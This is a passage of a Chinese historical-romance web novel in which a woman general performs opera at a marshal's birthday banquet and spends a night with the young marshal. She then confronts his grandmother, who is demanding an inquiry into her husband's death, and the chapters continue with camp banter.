开腔的一瞬间，唱腔宛如清泉出峡，又似春风拂面，音律高亢却又柔和，带着一股与生俱来的张力。
唱到动情处，一转身一回眸，衣袖飞扬衣袂生风，楚楚眼神间，竟有三分娇嗔、七分妩媚，惹得一众看客忘神，竟无人能从那层层妆容与戏服下，看出她的真容。
她与平日的茉云，完全判若两人——那个一身是胆，冷静凌厉女将军，在这一刻好似全然不见。留在台上的，是一位将娇媚、灵动与才情演绎到极致的戏中人。
满场宾客皆看得沉醉，却无一人认出她是谁，唯有正啸一人，早在她开腔之初，陡然抬头那一眼，一个眼神就认出了她。
这一双眼，纵有浓彩，却藏不住她骨子里的锋芒。旁人只看得见她演绎得风华绝代，他却一眼便识得，那眉眼之间，分明藏着她的桀骜、她的倔强、她的傲气，她的神魂从来掩藏不住。
台上的茉云依然沉浸在她的戏中，而正啸的目光紧紧跟随着她，茉云抬目望向台下，四目相触的一刹那，茉云微微一愣，眼神微微停顿了一刻，她知道他认出了自己。
正啸的嘴角微微上扬，神色中带着一丝不易察觉的柔和与温情。他端起酒杯，缓缓地抿了一口，眼神依旧专注，渐渐，他觉之一抹化不开的悸动，自心底翻腾而来，周遭在这一刻都变得模糊，唯有台上的她清晰可见，而自己血脉好似都在喷张……
茉云虽然此刻在戏中，但她能感受到，正啸的目光如影随形，浑身的力气好似都集中在那一道望向自己的目光中。
一曲唱罢，她轻轻一笑微微低头，轻盈地行了一礼。在众人的喝彩之下，她转身离去之时轻轻一瞥，目光望向正啸，眼中带着几分心照不宣的柔情，那一笑，好似是只属于他两的悸动。
台下的观众丝毫未曾察觉这份默契，依旧在交相称赞着:“这唱腔，真是绝了！”
“就是这韵味！”声声不断赞叹不已。
然而，正啸的眼神好似也随着她离场，下一场戏开始，但他的心神却好似已经不在了。
正当他坐立都有些难安时，元帅侧头看向正啸，脸上带着几分慈笑，笑着说道：“行了，不难为你了，你替父帅去军里看看，茉云、沧海他们都在军里值守，难为他们了，你带些好吃的去帮父帅犒劳一下。”
正啸的思绪一顿，迅速点头起身，台上已经开始了下一场戏，而他头也不回的转身离去……
茉云轻轻将头饰取下，还给了戏班班主，老戏班主是她昔日师傅的师弟，道谢后她整理了一下衣衫，来不及卸掉妆容，准备从后门悄悄离开，回军营中去。
月光如洗，洒在长廊上，地面上留下斑驳的光影。茉云踏着轻盈的步伐，走过这条静谧的长廊。突然，她的步伐一顿，眼前那个熟悉的身影让她愣住了——正啸就站在那里看着她。
茉云顿觉欢欣，一脸笑颜雀的迎上前，指着自己说道：“这你都能认出来？”
正啸的眼神却依旧直直地望向她，眼底透着深沉的情感在涌动。
茉云轻轻笑道，语气里带着几分俏皮，以戏腔说道：“小女那未来公公，六十大寿宴宾客，实乃报恩孝敬，且奉承之机，故而离营，少帅莫怪。”
正啸听到此话，顿时忍不住被她逗得畅然而笑，他一步上前，伸手就将茉云抱起，抱得茉云愣了一瞬，晃过神不禁抬头看向四周，幸亏空无一人：“喂！”
周围的院落寂静无声，正啸抱着茉云，容不得她挣扎，踢开房门进了自己的房间，心中的情感再也无法克制。
月华如水，春风满园，满地散落的衣襟诉不尽相思，唯剩床边纱幔随两心一同荡漾……
一番沉沦，正啸深深地望向月下怀中的茉云，茉云好似还未透过气来，他伸手轻触她的脸颊，温柔如夜风拂过，俯身轻轻亲启了一下她的红唇。
茉云睁开一双清亮如夜星的眼眸，一贯凌冽而刚强的她，只有此刻眼波中才流淌出柔情的涟漪：“你为何在此？”
正啸凝视着她，嘴角微微上扬的说道：“父帅见我在那儿坐立不安，让我去军营看看，犒劳一下守将。”
茉云眼底瞬间浮现出几分无语的笑意，坐起身看着他，反问道：“是吗？”
正啸亦被逗笑了旋即起身，春夜寒风依旧袭人，他马上拿起衣服先给茉云穿上，待两人整理好衣襟，正啸又一把抱起了茉云。
“诶！”
“嘘，等下我父帅发现我还未去！”正啸则笑着抱着茉云飞身从后门出院，然后直接上了茉云的马，让她坐在自己身前。
他手臂一用力将她抱得贴进自己胸膛，驾马往军营崩腾而去，随着马蹄颠簸，每一次起伏好似都让两颗心跳得更近，茉云抬头望向他那冷峻而棱角分明的脸，嘴角微微被逗笑，伸手擦去他唇边染的胭脂。
正啸微微放慢了速度，俯身望向怀中的茉云，眼中浓重的情意，一丝一毫皆未修饰：“西宁一战，可还好？”
茉云愣了半刻，深吸了一口气说道：“什么……好不好？就是胜了呗。”
正啸一手握住了缰绳，另一只手将茉云抱得更紧了些：“脑中不要再反复回想你所经历的战场，至少西南部落和西宁都谋得了一个未来。”
茉云愣了半刻，瘪瘪嘴巴，不禁的轻轻握紧了正啸背后的衣襟，将自己头靠近正啸胸膛，未经历战争之时……是永远无法感受到战争的残酷，她此番亦是深刻的感受到了正啸为何这么厌恶征战。
正啸忽然伏低头深深吻了一下茉云的额头，他亦知道茉云自幼家破人亡，颠沛流离，她对恶人从不手下留情，可天生对弱者和无辜者都有莫大的共情，但战争从来都是不分善恶地毁灭一切。
夜风微凉，星月静静地悬于苍穹，正啸一路疾驰将她送回军营，快到营地之时，正啸忽然一勒缰绳，飞身下马，随后牵着马儿缓缓前行，好似他亦并不想那么快送她回营……
茉云坐在马上，低头看着前方那个步履稳健的身影。月光下，他的肩膀显得格外魁梧而宽厚，是因为他自小就扛起了整个南境万民的安康吗？
她看着轻轻嘴角上扬，自己一个从小就是只信自己，只靠自己杀出重围之人，不知为何，从见到他开始，心中便忽然升起一种莫名的安稳感。
此时营地前哨上，沧海正好站岗。远远他便看见正啸牵着茉云的马走来，眼中闪过一丝无语，随后轻轻叹了口气。
一旁的石川却一脸——我早说过的表情，看向沧海说道：“沧海将军，我说了吧，您不用急，少帅定会把方将军逮回来。”
沧海被他这句话逗乐了，只得摇了摇头，这未必是逮回来的……
不多时，正啸便到了军门前，将元帅吩咐带来的犒赏物资一并交给沧海，问道：“军中一切还好？”
沧海立刻抱拳禀报道：“一切安好，将士轮守如常，无异动，少帅放心。”
“好。”正啸点头，伸手拍了一下沧海肩膀，说完目光就微
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微转向茉云，语气温和却不容置疑的说道，“我未回营之前，不要再离开军营。”
茉云虽眼中都是不爽，但最后还是耷拉着眼皮，无奈点头：“知道了。”
正啸没再多言翻身上马，动作利落如风，马蹄一踏一骑绝尘而去，转瞬间消失在夜色尽头。
茉云看着他渐远的背影，眼神微动，忽然转头看向沧海，问道：“沧海哥，如今人都在城中看戏，你们在这儿守军营，觉得无聊吗？”
沧海看向她一脸坦诚的说道：“不算有趣，但事总要有人做。这比起少帅那批不完的军务文书，还是好点。”
茉云深吸一口气，望向那道早已远去的身影，这次攻打西宁，她才真正意识到原来领兵打战如此不易，自己还压根未受那么多裹挟和监视。
而正啸……每日领兵征战之外，还要上报行军路线、将士调度、查阅军饷军械、行文文牍政令，就是连一颗粮食的去向，他都要亲自过目批阅，不然动则御史参奏，朝廷问责扑面而来。
世人都说他深得皇上信赖，厚恩权重，可她这所谓的信任，不过是朝廷对卢家的依仗，还带着最严苛的钳制。所有的极致荣光之下，是他肩上沉得几乎不能言喻的重担。
风起，茉云的眼睫微颤，心中忽然一动，不知为何有些酸涩，也有些敬意，但更多的是深深地沉沉地心疼他。
她转身回到自己营帐，倒在床上所有的喧嚣都逐渐淡去，然而，奇怪的是，闭上双眼之时，这几日里夜夜缠绕自己的，那些血溅沙场的梦境，今晚再未浮现。
只觉得心中出奇的安宁，好似有一丝无法言明的力量在守护自己，驱散了所有的困扰与疲惫，让她瞬间进入甜美的梦想。
而此时，正啸已经回到了庭院，庭院里戏正是最后一场，正啸的眼神依旧沉稳而冷峻，在元帅耳边，低声汇报道：“父帅，军营一切无恙。”
元帅闻言微微点头，继续看着戏，正啸坐回了元帅身边，若辰轻轻看了看他，眼神忽然怔了半刻，这几日正啸一直冷峻严肃，对这些繁文缛节厌烦至极，而此刻的他，居然眼底透出了一丝轻松和舒展的愉悦……
待到最后一场戏落幕众人已尽兴，元帅的醉意已有九分，正啸和若辰两人左右扶着，一起护送元帅回房，到了房间元帅醉意上涌，已走不动道，正啸扶他躺下。
元帅酒意浓重得眼都只能微张，却一把拉住正啸的手，神情浮现出一丝慈爱：“啸儿，你听爹的，茉云这丫头，和你极为相配。为父也不指望你其他，将她娶回咱卢家，做我卢家儿媳妇，日后你两过好日子。”
正啸愣了一下，心中一阵微妙的情感涌上心头，几乎没有半分犹豫，点点头，说道：“好。”
元帅听后，露出了满意的笑容，满脸的喜悦：“好，这事就这么定了！若辰，你给我做个见证！”
说完，他大手一挥，躺在枕上瞬间就沉沉地睡了过去。
若辰和执礼站在一旁，愣了半刻忍不住乐了。正啸眼中闪过一丝无语，俯身给元帅脱鞋，盖好被子。
若辰不禁调侃道：“若是明日元帅酒醒，是否还记得此诺！”
执礼旋即接过话调侃道：“关大人没有说中此事的关键所在，重点是，少主您说好，能办到吗？人家也觉之好吗？”
“执礼所言甚是！”若辰顷刻间笑得不行说道。
正啸压根懒得搭理他两，转身回了自己的房间，夜色已深，如此静谧，风从窗外轻轻吹入，他靠在床头闭上双眼，似乎周遭还飘荡着她的气息，心中顿觉周身舒畅而愉悦……
330.造次
司融新国主继位大典盛大而庄重，四方盟国皆派使者前来祝贺，朝廷待司融国的恩德，昭示了天下。
这亦是朝廷所要的威慑——让天下人尽知，司融旧朝已终，新主复位，与朝廷立盟者，四方来贺，谁若心怀异志，四方共诛。
司融都城一时间灯火辉煌，街市更是热闹非凡，茉云却难得的安安分分地待在军营之中，哪怕人声鼎沸、花灯如昼，她也未曾跨出半步。连白神医都夸她，如今愈发懂事了。
待城中之事尘埃落定，卢家军正式将权柄移交给新国主后，元帅与正啸也终于从城中回营。
茉云在营房中正好用完膳，听闻正啸归来，便将碗筷一推，脚步轻快地奔向正啸的营帐。
刚掀开帘子，她便看见正啸穿着一身玄色素缎，肩背挺拔的端坐在案旁，眉头微蹙地批阅堆积如山的军务公文。沧海站在一旁，神情肃然地汇报军中近况。案几两侧，若辰和萧怀逸正悠然地喝茶闲聊，若辰身旁坐着一脸温婉柔和的季岚。
茉云一眼便看到了季岚身旁桌上的点心，眼睛一亮，笑意盈盈地冲过去。
“末将见过诸位大人！”她假模假式的敷衍了一下礼节，便喜滋滋直接拿起一块点心咬了一口，顿时满脸欣喜地说道：“关夫人真够意思！嗯——好吃！”
正啸抬起头望向她，原本冷峻凝重的眉眼，在看见她笑颜后，竟不自觉柔和了几分，眼底亦透出了一层温意。
季岚也轻轻一笑，看向茉云便欣喜而亲切的说道：“好吃便多吃些。”
茉云点着头，赶忙又拿起一块塞到嘴里，满口赞叹：“太好吃了，这是哪家铺子买的？”
“谢谢夸奖，这都是我亲手做的，下次再多做些。”
茉云看着手中点心微微一愣，旋即咧嘴一笑，眼神里带着打趣与敬佩：“季岚，你一个京城的千金大小姐，为了让夫君欢喜，竟把他家乡南境的小点做得这般地道……，京城中人都说你待关若辰一往情深，这回我真信了，你绝对是真爱！”
众人听到茉云的话，顿时忍俊不禁，若辰则一脸温润的笑了，季岚闻言脸颊微红，也笑得愈发温柔说道：“这点心还堵不住你的嘴。”
萧怀逸则望向茉云，眼中却闪过一丝戏谑：“那本王爷倒是有点好奇，方将军，你是如何能讨得人喜欢的？”
茉云一边吃着点心，似乎在认真思考萧怀逸的问题：“我也是有优点的？刀枪箭射十八般武艺，样样精通。”
萧怀逸听了后，眼中不禁闪过一丝嫌弃，轻哼一声：“我只听说女子要贤良淑德。可从未听说过女子要会刀枪箭射，关夫人乃世家夫人中的典范，咏絮才高，婉婉有仪，你见之，可有自惭形秽否？”
若辰无言地看了萧怀逸一眼，他总还是忍不住要如此挑衅茉云。
茉云则依旧是那副风轻云淡神情，吃着点心悠然自得地说道：“萧小王爷说得有理，我无才无貌，贤良淑德四字与我相较甚远。可这话说回来，如此这般糟糕的女子，若还有人喜欢，也当属真爱了吧。”
“你！”萧怀逸听到这里，顿时无语至极，却又不知该怎么反驳。
此时，若辰已经忍不住笑出了声，看向萧怀逸：“你真是闲的，如今你是碰见她修身养性了些许。若是当年在中州，你恐怕早人仰马翻了。”
执礼似乎也回忆起了过去的往事，笑着看向怀逸说道：“我当年可是很惨的！”
茉云顿时开心地点点头，嬉皮笑脸地说道：“前几日，白神医和沧海哥都还说我懂事了，居然忍着只在营里捣乱，没去城里搅合。没想到我方茉云，竟也能成长得如此懂礼，识大体！。”
顿时众人忍不住哄堂大笑，正啸此时也从军务公文中抽回目光，无语的看向茉云。
一时间，营帐内的氛围变得愉快而轻松，萧怀逸也没有再说什么，一脸哀默大于心死的神情，撇了撇嘴暗自无奈。
然而，就在众人难得的轻松欢欣时刻，营帐的帘子忽然被一根拐杖掀开，一股威严的气场瞬间扑面而来。
老太君面色严峻的走进来，拐杖敲击地面的声音如此沉重，充满了威慑力。整个帐内的气氛瞬间冷凝，所有人都迅速起身，恭敬地行礼。
老太君径直走到中间的座位上坐下，扫视了众人一眼，然后望向茉云开门见山的说道：“老卢帅到底是如何阵亡的？”
她的语气中带着不容忽视的决绝，正啸听到这话，顿时深吸一口气双眉微蹙，老太君还是来找茉云了……
茉云则马上收起笑意，抱拳向老太君如实禀报道：“老卢帅应该是遇到敌军人马和巫鸟的突袭而阵亡的。”
老太君的目光变得更加犀利，她的手紧紧握住拐杖，沉声问道：“他怀里的那根黑羽，就是巫鸟之羽？”
茉云目光坚定地点了点头：“据我估计，那根羽毛是他最后一刻，藏在怀中，想为后人留下的线索。”
老太君的面色骤然变得愈加冷峻，她咬紧牙关，声音压抑着痛苦说道：“那他到底为何被突袭？”
茉云再次如实答道：“尚且不知。”
老太君顿时激动起来，拐杖狠狠敲击地板，怒不可遏的吼道：“去查啊！查案不是你最擅长的事吗？”
她的声音中充满了愤怒与焦灼，好似一切的答案都掌握在茉云手中。
正啸神色一沉，走上前开口劝道：“奶奶，此时不是查此事的时机。”
他的话语虽平静，却透着一股无可辩驳的决然，卢老太君脸色瞬间就阴沉了下来，让营中气氛顷刻变得更加凝重，元帅闻讯赶了过来，他走进帐内便眉头微皱，显然也察觉到营中的氛围……
老太君则瞪向正啸怒火中烧，眼中泛着不容反驳的怒意，用拐杖则指着正啸吼道：“卢正啸，你给我跪下！”
正啸深吸了一口气，跪在了卢老太君面前，声音中透着无奈说道：奶奶，现在去朝中查爷爷阵亡的真相，属实不合适……”
老太君见状怒不可遏，她拿起拐杖狠狠地敲在正啸的肩膀上，打断了他的话怒吼道：“你这个不肖子孙！亏你说得出口！你爷爷如此看重你，可他走了这么多年，你连他怎么死的都不知道！”
她的声音几乎带着破碎的悲愤与不甘，好似早已失去了理智。
卢帅沉默了片刻，终于开口说道：“娘……”
“你给我闭嘴！”卢老太君的声音如同雷霆一般，震得整个营帐都为之一震，气场压得所有人都不敢再出声，眼中带着复杂的情绪，只有正啸的眼神中却没有丝毫退缩。
他依然冷静而坚定地据理力争道：“奶奶，现在朝中局势纷扰，大战在即，您觉得圣上怎么可能同意彻查此事？”
卢老太君听后，愤
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怒的情绪愈加高涨，她面色铁青咬牙切齿地吼道：“你不要跟我说这些废话！朝廷何时想过要给卢家一个真相！对他们而言，何时都不合适！可卢正啸，那是你爷爷！不是时机？你怎么能说得出口！”
“爷爷阵亡的真相，待我平定了南境之后，哪怕粉身碎骨，我也一定会查！”正啸咬牙说道。
然而，正啸这毅然决然的誓言，卢老太君显然并不接受，她的愤怒几乎让她有些失控，吼道：“几十年了！你们父子平定了南境吗？我要等到几时？你去打你的战，现在就让方茉云去查！”
正啸顿时抬起头，目光瞬间锐利而坚决，直视着卢老太君说道：“不可能！”
他说得如此斩钉截铁，让众人顿时错愕地看向正啸，茉云也愣了半刻望向他。
卢老太君怒目圆瞪，猛地站起身，指着正啸：“你再说一遍！”
正啸跪得笔直，他的语气却没有丝毫转圜，异常坚决地说道：“奶奶，您知道，能害爷爷的必不是一般人，现在前线大战在即，朝局不能乱，圣上不会允许任何人在此时扰乱朝纲！此举与让她跳进火坑有何异！”
卢老太君的怒火被点燃到极致，声音中充满了不可抑制的愤怒：“她这些年耸人听闻的事干少了？哪次出事了！况且我还没死，京城卢家还有我在！”
正啸咬牙望向老太君，他知道她陷入极大地悲愤，此刻已听不进任何道理。这场争执定然无法通过规劝解决，于是他咬牙斩钉截铁地说道：“我在前方打仗，就绝不可能让她随你去京城查爷爷的事。”
“你！”卢老太君的怒火彻底爆发。她猛地举起拐杖，狠狠地朝着正啸挥去。正啸丝毫没有闪避，他一动不动地站在原地，任由拐杖的打击落在自己身上，脸上的神情却依旧坚定如铁，丝毫没有动摇。
营帐内的气愤如同冻结，只有拐杖击打正啸身上的声音和老太君的斥责声回荡在空气中，众人都不敢作声，气氛沉默压抑，而萧怀逸则双眉紧皱的看向茉云，可是看见茉云神情，他微微愣松了半刻……
突然间，拐杖正要再一次狠狠抽下之时，忽然悬在了半空中不动了。众人目光齐齐望向那道悬在空中的拐杖——是茉云抬手接住了卢老太君的拐杖。她的眼神如此冷冽，带着无可抵挡的力量，拐杖被她握住，好似一切都在她掌控之中了。
卢老太君见状依旧愤怒至极，嘴唇几乎气得发紫，吼道：“方茉云，我就问你，你查不查！”
茉云的眼神瞬间透出一丝狠戾，她毫不犹豫地用力一扯，将拐杖从老太君的手中夺了过来。随着她的力量，卢老太君一个踉跄，差点摔倒在地。幸亏正啸迅速起身，和旁边的元帅一道扶住了卢老太君，才避免她跌倒。
整个帐内一片静默，众人目光都集中在这突如其来的动作上，愕然无语。
然而茉云并没有停下，她双手拿起拐杖猛地一抛膝，将拐杖狠狠砸向自己的腿上，同时双手用力一掰，“咔嚓”一声拐杖瞬间被她折成了两段，断裂的声音异常响亮。
众人瞬间睁大了眼睛，难以置信地看着这一幕，连元帅也愣住了，仿佛不敢相信茉云会有如此的举动。而茉云则毫不在意的，随手将折断的拐杖扔向营帐的角落，然后一脸冷凌的望向卢老太君。
卢老太君气得几乎要失去理智，指着茉云，愤怒得手都在颤抖：“你……”
331.不惧
在此时紧张压抑的营中，茉云站在那里双目平静如水，好似周遭所有的怒火与紧张，都无法惹起她内心的一丝波动。
她一脸镇定自若，语气平稳中却透出一丝锋芒，说道：“你年纪大了，丈夫走得不明不白，你接受不了，我能理解。可是这个节骨眼，谁都不该来军里胡搅蛮缠。”
众人不禁看向茉云，她的声音如此平和，没有慌乱，没有动摇，字字透出理智和冷静的力量，带着一种压迫力，让她在这一场对抗中，迅速占据了上风。
“于公，这一场战的胜利，南境盼望了太久了。于私，我不知你是否曾在老卢帅灵位前立过誓，但我答应了我义父崔老将军，一定会完成他平定南境、剿灭峑戎的毕生心愿，谁都不可以成为此时的绊脚石。”
卢老太君听到老卢帅三个字，顷刻间几乎失去理智，大声吼道：“不查出这个背后害他之人，卢家和卢家军终究不得安宁，还妄想什么大战胜利！”
茉云冷冷地望着她，眼神却如刀锋一般锐利，低吼道：“那让你丈夫显灵或者托梦给我，告诉我，他此生的夙愿——不及他死的真相重要。可据我所知，他当年未成此愿，是含恨而终！”
茉云的话如同惊雷般震响在营帐内，卢老太君瞬间被茉云的话压得几乎无法喘息，她嘴唇顿时微微颤抖，却再也说不出一句话。
“此刻，什么都没有平定边关来得重要！”茉云站在那里好似那巍峨的山峰，岿然不动，眼中却透出了一丝狠戾，“你丈夫阵亡，你想知道真相，自己去啊！怎么你们卢家三代人要干的事，都放在他一个人身上，如今还来胁迫我来了？”
营帐内的空气顿时凝固，所有人都怔住了，茉云忽然以这样冷峻的态度对峙老太君……
而茉云丝毫没有退让，冷冽的眼神中又透出了寒光：“我且再问你一句，百年之后你拿什么颜面去见他？
“够了，别说了！”正啸双眉紧皱看向茉云打断道，他知道茉云的这一番话，定然深深刺痛了卢老太君，但也让自己内心隐痛，这些便是自己和卢家都无法改变的宿命。
而卢老太君激怒攻心，一刹那胸口起伏剧烈，整个人好似失去了支撑一般，身子一晃便在恍惚中晕厥了过去。
“娘！”元帅吃惊地惊呼，脸色骤变一把扶住她。
“奶奶！”正啸立即将老太君背来，语气急切地朝千山吼道：“快去请白神医！”
营帐内顿时乱作一团，原本庄严紧绷的氛围一下子化为惊慌，众人纷纷让开路，白神医被千山火速请去了元帅营帐，他步入帐内，便一言不发地坐到床边为老太君把脉。
随后，他沉稳地从药箱中取出银针，为老太君连施几针，动作干净利落。随着针入要穴，不多时老太君眉头微动，缓缓地睁开了眼，意识归来之时，泪珠便如断线的珠子般，从眼角顺着鬓角滑落到枕上。
“娘！”元帅坐在床边红着眼眶，刚要安慰却转头厉声朝正啸吼道：“卢正啸，还不跪下！”
正啸深吸一口气，随即毫不犹豫地屈膝跪下，其余卢家中人也纷纷跪在他身后。
元帅低声安抚：“娘，茉云那孩子，总是没轻没重的，您别跟她一般见识，气坏了自己。”
老太君却忽然扬起手按住胸口，哑声吼道：“都给我出去！”
元帅怔住了刚想再劝，白神医便抬手拦住了他，温声说道：“让老太君歇一歇，也好镇定养神。”
众人只得纷纷起身退下，帐外的风还带着初春之凉意，元帅一出了门便忍不住猛然瞪向正啸，质问道：“你是怎么跟你奶奶说话的？她要是气出个好歹，我看你如何是好！不孝子！”
正啸沉默的站在风中并未反驳，只有紧紧攥着的拳头，透着他内心的挣扎。
白神医在一旁轻轻摸着胡须，平静的说道：“元帅莫急，老太君中气尚足，并无大碍，歇一歇便好，倒是元帅您也别动气，莫太过忧心。”
不言则在一旁小声嘀咕了一句：“是啊，您要是再骂少帅，又把她招来了，别等下把您自己也气出个好歹来……”
白神医当即转头，狠狠瞪了不言一眼。众人一愣随即忍俊不禁，气氛也终于略略轻松了几分……
待正啸回到营帐时，茉云正一脸从容地站在桌旁，目光专注地看着峑戎的地形图。她一只手握着点心没好气地咬着，另一只手则端着茶，看到正啸走了过去，茉云猛地将手中的茶杯重重地放在案几上,动作带着几分不满与怒气，正啸的却无奈望向她叹了口气，眼中却没有斥责都是温和。
此时若辰和怀逸等人皆随着正啸走入营帐，季岚看向茉云温和地说道：“白神医说，老太君无大碍。”
茉云闻言，语气中亦带着忿然：“卢老太君中气十足，她能有什么事？我当真后悔去沉峡没带她去，让她去咬死那害死她夫君的鹰，别让她有气力在这害自己人。”
顿时，帐内的气氛一松众人忍俊不禁。即便极度敬仰卢老太君的执礼，此刻也被茉云这话逗乐了。
正啸无语地望向她，眼中无奈的指着桌案上的峑戎地形图说道：“你不准去峑戎，知道吗？。”
茉云愣了愣望向正啸，他这话的语气，毫无商量的余地，好似是下达了不可动摇的命令。
“为何？”茉云显然不服地瘪了瘪嘴巴，眼神中带着几分不解与挑衅。
正啸却斩钉截铁地说道：“军令如山，你听着便是！”
茉云闻言嘴微微撅起，低声忿然地抱怨道：“作威作福！”
众人顿时又忍俊不禁，正啸没有回应，只是无奈地低头继续查阅眼前的军务，执礼在一旁则笑出了声，转头望向茉云：“这叫作威作福？哎，刚刚那可是卢家老太君，是少主的亲奶奶。”
茉云没好气地白了执礼一眼，语气讥讽地说道：“得了吧，你们家今天奶奶要你去查爷爷是如何被害的，明日爹要你去给娘报仇，舅舅逼你做大官，姑父命你去打仗，个个都是亲的，都是好亲戚啊！不然你少主怎得如今还孤身一人呢？因为亲戚一会儿一个要你命的主意，你们少主他还算是个有良知之人，知道他家是龙潭虎穴不想害人。可他们如今居然来胁迫我了，我还没跳坑里呢！”
此言一出，众人先是一愣，随即哄堂大笑。连平日汇报军务时最为正经的沧海都被逗笑了。
若辰则一如既往温润如玉地笑着，轻声劝道：“老太君忽然听闻老卢帅阵亡的真相，心中震撼难以接受，一时情绪激烈，实属情理之中，你好言相劝嘛。”
茉云则拿起茶壶缓缓往自己的茶杯中倒着茶，语气平静却犀利：“老太君操持卢家多年，是实属不易，可也正因为此，她早已习惯颐气指使，有理没理都得照她的来，谁好言劝动过她？如今老卢帅之事，是刺中了她心中最敏感的软肋。我若不是趁此时，打掉她这股气焰，还真不知道她接下来会干出什么事来。”
营帐一时又沉了下来没人接话，执礼深吸一口气，他也知道茉云说得有理，老太君风风雨雨都扛得住，但面对老卢帅如此
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惨烈的死因，她如何受得了！
营中都是正啸最信赖之人，茉云亦毫不避讳，语气如常的说道：“此事若还要查下去，只能再往上查，能害到老卢帅的……查着查着，不就剩那么几个了吗？若现在准备跟他们斗，这战就不用打了！”
众人神色一震，哪怕先前还在嬉笑的，也都沉默下来，不禁倒吸一口气，茉云的声音清浅却字字入骨，众人不禁觉之脊骨透着凉，卢家再往上查，是太师，还是更上面的……
茉云拿起茶杯，轻轻一笑，低头抿了一口，声音低得像风掠过杯沿：“这世上原来也真有我方茉云不敢查的案。”
原本在批阅军务的正啸，手中的笔忽然顿住，他眉头微蹙，眼中也闪过一丝深沉与复杂。这一刻，营帐内的气氛好似沉入了一股寂静的深流之中，此刻众人无声的共识压得心头都异常沉重。
茉云则微微抬眉嘴角一挑，目光看向季岚重重地叹了口气，故作一副英雄扼腕的架势，说道：“哎，我如今这副畏首畏尾的模样，好生狼狈。想我当年初入中州为参军，是如何驰骋官场的，怕什么上面的人，他们连我的风都摸不到，我当着我上司的面，冒充他去调戏舞姬，他气还没消，我转头又将他的相好打了，他们能奈我何？”
众人顿时一怔，尤其是季岚，一脸震惊地看着她，迟疑道：“你上官没有参你一本？”
茉云悠慢悠悠喝了一口茶，淡然地放下茶盏，缓缓摇头：“没有，他出生贵胄，年少为官素有威名，他怎么可能承认自己有治不了的下属？你越是蹦跶得起劲，他越不会赶你走。”
季岚听得一愣一愣，忍不住追问：“那后来呢？”
茉云眼珠一转，立刻笑得满脸灿烂，伸手指着正啸说：“后来——放长线钓大鱼呗！”
此话一出，众人旋即哄堂大笑，连若辰都不禁笑出了声，正啸亦嘴角微扬，忍不住无奈地瞧着她笑了。
季岚也被她逗得如花枝乱颤，忽然又一愣，狐疑道：“不对啊，他什么时候有相好？”
茉云挑了挑眉，慢条斯理地说道：“你夫君啊……哎，这事都怪我！我那时气量狭小，卢正啸一见我就一副冷脸，处处嫌我碍眼，可是一有空他就去探望关若辰，对他可好了，我便心生嫉妒，而且我第一次见关若辰，发现他居然还长得这般好，一时气愤，抬手一拳就将他揍晕了，后来还是万莫教育我说，你这样不对，关公子是个好人！”
说到这儿，万莫回忆着老实巴交地点了点头，众人笑声更大了，若辰无语的望向她们，季岚竟也笑得直不起腰。
茉云依旧一脸嬉皮笑脸，瞥了萧怀逸一眼，调侃道：“如今，有的人在我面前如此嚣张，我亦能容，哎，当真还是成长了。”
萧怀逸顿时冷冷的望向茉云，显然也知道她说的是自己。
茉云故作惋惜地摇摇头，语气玩味的看向萧怀逸叹息道：“可惜他是个男的，不然哪天我一高兴，说不定就真容他叫我一声姐姐，让他每日给我奉茶。”
瞬间，萧怀逸平素日里的端方、温雅和谦逊通通化为乌有，他瞪着茉云吼道：“滚！”
众人爆笑如雷，若辰更是笑得连扇子都快扇不动了。整个营帐，在一片笑声中又回暖了轻松和欢乐，紧张与沉重悄然而逝。
而茉云，就像她一贯那样，任往事蹉跎，前路坎坷，她总这般锐意不屈又乐观豁达，把风雨都踩成脚下，笑着跟他并肩走下去。
奈何风雨，总喜欢寻他们这些不屈亦不惧之人……
332.本事
黄昏时分，西边的天际被晚霞染得金红，阳光透过稀薄的云层，洒在营地的四周，投下斑驳的余晖。此时的军营，既充满着日间的疲惫，又带着入夜的宁静。
伙营的炊烟亦袅袅升起，茉云步履轻盈的前往伙营用完膳，将军用膳的营里烛光泛着暖黄，气氛却压抑让人有几乎透不过气来，整个营帐寂静无声，一众将军参将皆坐得笔直，连咀嚼都格外小心，生怕发出一丝动静。
因为卢老太君和元帅都在，老太君她端坐在主位上，脸色肃穆神情冷峻。所有人都知道她白日里被茉云气得昏厥过去，这时谁也不敢触她霉头，气氛之沉重，好似让饭菜顿时都不敢香了。
就在这时，茉云将帘子一掀，大大咧咧地走了进来。她一身轻松神情怡然，丝毫没有避讳的小步跑到季岚身旁便坐下，像是压根感受不到满帐的肃穆气压。
众人纷纷眼神偷瞄过去，却依旧不敢出声。
茉云拿起碗筷就吃胃口大开，吃了几口忽然侧过身，小声问季岚：“诶，你见过老卢帅吗？”
季岚正小口吃着饭，被她这一问差点噎住，愣愣地看向茉云，她还敢此时在老太君面前提老卢帅？季岚也只好小声回道：“我幼时见过老卢帅。”
茉云却一脸认真地凑近了些，悄声说道：“你可以帮我画下来吗？”
“为何？”季岚一头雾水的看向茉云道。
茉云顿时一脸故作惶恐的表情，警觉的望向四周说道：“我白天里不是还嚷嚷着让老卢帅显灵来找我吗？我还把他爱妻气晕了过去……眼看天黑了，我怕他今晚来找我算账，我至少得知道他长啥样，好跑啊……”
“噗——”帐内本压抑的空气骤然被撕裂，紧跟着，一阵强忍不住的低笑，在座中悄悄蔓延开来，元帅都无语的被逗笑了望向茉云。
卢老太君猛地抬头，眼神如刀子般扫了过来，没好气地骂道：“是的，老卢帅会显灵，去见你这个不敬不孝之人！”
茉云却一脸无辜地看向卢老太君，想了想瞬间松了口气说道：“也有道理哈，他难得回来一趟，肯定是先去见最牵挂的夫人。您这么一说，我轻松多了！”
“哼！”老太君看着茉云那嬉皮笑脸的样子，没好气的骂道：“方茉云，我且问你，你质问我那般义正言辞！若是你是我，你能忍？”
茉云一脸笑意，轻描淡写地说道：“若是我，下一刻就会去跟人同归于尽。可是您为了大局，已经忍了数十年了，再忍个一时半刻又能如何呢？这不是如今，凡事都得以战事为重吗？”
卢老太君眉头微皱，神情似乎略有松动，手中的筷子依旧忿然地夹着饭菜，眼神明显缓和了几分。
在她一旁的罗虎低声宽慰道：“老太君，您甭跟她一般见识，她这人，总是狗嘴里吐不出象牙来。”
卢老太君长叹了一口气，看向罗虎说道：“惜缘也快生了吧，日后啊，如果惜缘再能生个男娃，你就把他过继给卢正啸吧，也让我卢家能有个后。”
罗虎愣了愣，低声答道：“老太君，我自当从命，但少帅还年轻呢，您不用担心……”
“哼，”卢老太君带着些许冷笑，没好气的骂道：“就卢正啸，他能看上什么好的？”
